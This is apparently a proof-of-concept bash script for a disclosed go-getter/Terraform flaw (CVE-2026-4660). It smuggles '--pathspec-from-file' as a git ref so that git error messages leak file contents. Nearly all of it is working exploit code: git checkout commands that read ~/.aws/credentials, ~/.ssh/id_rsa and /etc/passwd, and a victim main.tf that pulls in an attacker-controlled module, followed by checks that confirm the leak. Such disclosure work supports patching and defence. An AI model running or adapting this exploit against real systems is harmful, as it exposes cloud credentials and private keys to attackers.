README.md
Rendering markdown...
#!/bin/bash
# CVE-2026-4660: arbitrary file read via git checkout --pathspec-from-file
# hashicorp/go-getter
# affected: go-getter v1.8.2-v1.8.5, terraform v1.9.0-v1.14.8 (latest stable)
# fixed: go-getter v1.8.6
#
# checkout() in get_git.go is called from two paths in the go-getter library:
#
# clone() (line 226): defers os.RemoveAll(dst) -- dir deleted on failure
# update() (line 284): no such defer -- dir survives failure
#
# get_git.go:Get() routes to update() when os.Stat(dst) succeeds (dir exists),
# and to clone() when it does not.
#
# terraform: initwd/module_install.go:251 calls os.RemoveAll(instPath) before
# invoking go-getter for any module that needs installation. Terraform therefore
# always triggers clone(). Phase 1 demonstrates this path via terraform init.
#
# Packer, Nomad, and any other go-getter caller that reuses an existing
# destination directory will trigger update() instead. Phase 2 directly
# exercises update()'s git sequence -- fetch + checkout -- to show the same
# checkout() vulnerability fires and that the directory survives the failure
# (no RemoveAll defer in update()).
set -u
tmpdir=
cleanup() { [ -n "$tmpdir" ] && rm -rf "$tmpdir"; }
trap cleanup EXIT
echo "[*] target files:"
echo ""
echo " ~/.aws/credentials:"
sed 's/^/ /' ~/.aws/credentials
echo ""
echo " ~/.ssh/id_rsa:"
sed 's/^/ /' ~/.ssh/id_rsa
echo ""
echo " /etc/passwd (first 3 lines):"
head -3 /etc/passwd | sed 's/^/ /'
echo " ..."
echo ""
terraform version | head -1
echo ""
# go-getter calls: git checkout <ref>
# no -- separator, so a ref starting with -- is parsed as a git option
# --pathspec-from-file=<path> reads the file line by line as pathspecs,
# fails each one, and emits the line content in the error output
echo "[*] mechanism (raw git, unmangled by terraform error renderer):"
echo ""
tmpdir=$(mktemp -d)
git clone -q http://gitserver/terraform-aws-vpc-internal.git "$tmpdir"
echo " ~/.aws/credentials:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.aws/credentials" 2>&1 | sed 's/^/ /' || true
echo ""
echo " ~/.ssh/id_rsa:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.ssh/id_rsa" 2>&1 | sed 's/^/ /' || true
echo ""
echo " /etc/passwd:"
git -C "$tmpdir" checkout "--pathspec-from-file=/etc/passwd" 2>&1 | sed 's/^/ /' || true
rm -rf "$tmpdir"; tmpdir=
echo ""
# attacker's outer module is a legitimate-looking terraform module
# victim never inspects its source; the malicious refs are in nested submodule calls
tmpdir=$(mktemp -d)
git clone -q http://gitserver/terraform-aws-vpc.git "$tmpdir"
echo "[*] attacker module (terraform-aws-vpc/main.tf -- victim never reads this):"
sed 's/^/ /' "$tmpdir/main.tf"
rm -rf "$tmpdir"; tmpdir=
echo ""
cat > ~/project/main.tf <<'EOF'
module "vpc" {
source = "git::http://gitserver/terraform-aws-vpc.git"
}
EOF
echo "[*] victim's main.tf:"
sed 's/^/ /' ~/project/main.tf
echo ""
# --- phase 1: clone() path (get_git.go:226) ----------------------------------
# terraform's module installer removes the destination directory before calling
# go-getter (initwd/module_install.go:251), so Get() always sees a missing dst
# and routes to clone(). clone() defers os.RemoveAll(dst) on error -- dirs
# are gone after the failed checkout.
echo "=== phase 1: clone() path -- triggered via terraform init ==="
echo ""
echo "[*] terraform init (no cached modules):"
echo ""
cd ~/project
terraform init -no-color 2>&1 | tee /tmp/phase1.txt || true
echo ""
MODULES_DIR=~/project/.terraform/modules
echo "[*] phase 1 sentinel -- inner module dirs after clone() failure:"
all_absent=true
for key in vpc.creds vpc.key vpc.passwd; do
d="$MODULES_DIR/$key"
if [ -d "$d" ]; then
echo " unexpected: $d exists"
all_absent=false
else
echo " absent: $d (clone() deferred RemoveAll on failure)"
fi
done
$all_absent && echo " all three dirs deleted -- clone() behavior confirmed"
echo ""
if grep -q "error: pathspec '" /tmp/phase1.txt; then
echo "[+] phase 1 confirmed: file contents leaked via clone() path"
echo ""
echo " leaked lines (terraform-wrapped at 80 chars; long values truncated -- raw section above has full content):"
grep "error: pathspec '" /tmp/phase1.txt | \
sed "s/.*error: pathspec '//;s/' did not match.*//;s/'[[:space:]].*$//" | \
grep -v "^$" | sed 's/^/ /'
else
echo "[-] phase 1: pathspec errors not found"
cat /tmp/phase1.txt
exit 1
fi
echo ""
# --- phase 2: update() path (get_git.go:284) ---------------------------------
# go-getter's Get() routes to update() when os.Stat(dst) succeeds (dir exists).
# terraform never takes this path (it removes dst before calling go-getter).
# Packer, Nomad, and direct go-getter callers that reuse existing directories do.
# update() runs: git fetch origin, then checkout(). No RemoveAll defer --
# the directory survives the failed checkout, unlike clone().
#
# This phase directly exercises update()'s git sequence to show that the same
# checkout() vulnerability fires and that dst is preserved on failure.
echo "=== phase 2: update() path -- direct go-getter API simulation ==="
echo ""
echo "[*] setup: pre-existing module directory (simulates prior successful install)"
echo ""
tmpdir=$(mktemp -d)
git clone -q http://gitserver/terraform-aws-vpc-internal.git "$tmpdir"
echo " dst exists: $tmpdir"
echo " go-getter Get() routes to update() on os.Stat(dst) success"
echo ""
echo "[*] update() step 1 -- git fetch origin (no ref arg for non-hash refs):"
git -C "$tmpdir" fetch origin 2>&1 | sed 's/^/ /' || true
echo ""
echo "[*] update() step 2 -- checkout() (get_git.go:284, same call as clone() path):"
echo ""
echo " ~/.aws/credentials:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.aws/credentials" 2>&1 | tee /tmp/phase2_creds.txt | sed 's/^/ /' || true
echo ""
echo " ~/.ssh/id_rsa:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.ssh/id_rsa" 2>&1 | tee /tmp/phase2_key.txt | sed 's/^/ /' || true
echo ""
echo " /etc/passwd:"
git -C "$tmpdir" checkout "--pathspec-from-file=/etc/passwd" 2>&1 | tee /tmp/phase2_passwd.txt | sed 's/^/ /' || true
echo ""
echo "[*] phase 2 sentinel -- dst after update() failure:"
if [ -d "$tmpdir/.git" ]; then
echo " present: $tmpdir (update() has no RemoveAll defer)"
echo " clone() would have deleted this directory"
else
echo " unexpected: $tmpdir absent"
fi
rm -rf "$tmpdir"; tmpdir=
echo ""
if grep -q "error: pathspec '" /tmp/phase2_creds.txt && \
grep -q "error: pathspec '" /tmp/phase2_key.txt && \
grep -q "error: pathspec '" /tmp/phase2_passwd.txt; then
echo "[+] phase 2 confirmed: checkout() vulnerable in update() path"
echo " same leak, dst preserved -- callers: Packer, Nomad, direct go-getter API"
else
echo "[-] phase 2: pathspec errors not found"
exit 1
fi